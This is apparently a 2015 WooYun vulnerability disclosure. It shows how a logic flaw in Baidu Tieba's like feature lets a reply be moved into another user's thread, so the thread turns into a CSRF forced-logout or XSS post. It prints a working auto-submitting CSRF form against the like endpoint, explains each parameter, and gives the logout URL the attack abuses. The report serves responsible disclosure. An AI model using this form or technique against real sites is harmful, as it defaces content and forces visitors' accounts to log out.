当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0108945

漏洞标题：百度贴吧看我如何把楼主的帖子修改成CSRF帖子、XSS帖子

相关厂商：百度

漏洞作者： q601333824

提交时间：2015-04-20 12:23

修复时间：2015-06-06 17:10

公开时间：2015-06-06 17:10

漏洞类型：设计缺陷/逻辑错误

危害等级：中

自评Rank：5

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-04-20： 细节已通知厂商并且等待厂商处理中
2015-04-22： 厂商已经确认，细节仅向厂商公开
2015-05-02： 细节向核心白帽子及相关领域专家公开
2015-05-12： 细节向普通白帽子公开
2015-05-22： 细节向实习白帽子公开
2015-06-06： 细节向公众公开

简要描述：

匆匆那年

详细说明：


1.晚上在逛贴吧，一个功能引起了我的注意，就是里面有个点赞的功能，于是我想测试下这个功能有没有漏洞

1.jpg


2.于是，抓包得到，点赞的请求，弄成了一个表单

<html>
<body>
<form id="csrf" name="csrf" action="http://tieba.baidu.com/godthread/likePost" method="POST">
<input type="text" name="forum_id" value="33333333333333333" />
<input type="text" name="thread_id" value="689776012" />
<input type="text" name="post_id" value="63786815341" />
<input type="text" name="post_no" value="10" />
<input type="text" name="tbs" value="363bc849d7735abd1429369319" />
</form>
<script>
	document.csrf.submit();
</script>
</body>
</html>


3.其中参数
①forum_id这个参数不会影响点赞，但是不能没有,随便打
②thread_id代表点赞的帖子
③post_id这个参数代表楼层ID(可以修改成别的帖子的楼层ID，这样就可以转移到上面设置的帖子参数的帖子里面了)
④post_no这个参数代表楼层,数值越大越好
⑤tbs这个代表自己的tbs,填写自己的(可以运行PageData.tbs查看自己的tbs)
4.这个点赞存在的漏洞的地方就是，测试的时候发现，可以把别的帖子的楼层点的赞，移动到当前的帖子，而且测试的时候发现，越后面的楼层越容易被当成热门回帖，意思就是当post_no楼层参数越后面，然后你的回复就会被放到热门回帖,这个就是为什么上面我说post_no参数越大越好

2.jpg


5.知道了这个问题，就轮到自由发挥了，如果在别吧，发一个CSRF帖，然后把CSRF的楼层移动到热门回帖会怎么样??于是，我在自己吧发了一个掉线CSRF，然后得到楼层id=67195850670,如图

3.jpg


6.然后填写好表单访问，我贴吧的CSRF帖子被转到楼主的帖子里面去了，所以只要访问那个楼主的帖子=访问我的CSRF帖子，一代背锅侠诞生了,如图

444.jpg


5.jpg


7.看吧，楼主是一楼，我直接插在二楼和一楼之间，只要别人访问楼主的帖子的就退出登录了

8.这个漏洞就是黄图哥的天下了
9.可以访问:http://tieba.baidu.com/p/3709639872 这个帖子看CSRF效果，楼主的帖子被修改成CSRF帖子了
--------------------------------------------------------------------------
10.可以访问:http://tieba.baidu.com/p/3562395246 这个帖子看XSS效果，楼主的帖子的帖子被修改成XSS帖子了





漏洞证明：

1.漏洞证明看上面
2.或者这两个帖子
① http://tieba.baidu.com/p/3709639872
②http://tieba.baidu.com/p/3562395246

修复方案：

1.修复下点赞的逻辑
2.修复下CSRF http://www.hao123.com/api/logout?gotourl=http%3A%2F%2Fvip.hao123.com%2F&c=
3.XSS就不用修复了，那是很早的XSS，从别的地方转移过来的

版权声明：转载请注明来源 q601333824@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：10

确认时间：2015-04-22 17:09

厂商回复：

感谢关注，已提交相关部门

最新状态：

暂无

漏洞评价：

评论

  1. 2015-04-20 12:33 | 90Snake ( 普通白帽子 | Rank:109 漏洞数:42 | 最大的漏洞就是人)

    关注

  2. 2015-04-20 14:50 | 小龙 ( 普通白帽子 | Rank:1208 漏洞数:316 | 乌云有着这么一群人，在乌云学技术，去某数...)

    百度贴吧不都是token吗，莫非洞主有神器？

  3. 2015-04-20 19:36 | q601333824 ( 普通白帽子 | Rank:217 漏洞数:49 | 出自《丹特丽安的书架》---吾问汝,汝为人否...)

    @小龙 就是个小漏洞，谈不上神器。。。。

  4. 2015-04-26 15:06 | 昌维 ( 路人 | Rank:2 漏洞数:3 | QQ：867597730，百度贴吧ID：昌维001)

    可怕

  5. 2015-06-06 20:11 | 这只猪 ( 路人 | Rank:5 漏洞数:2 | 南无阿弥陀佛！)

    洞主是我师傅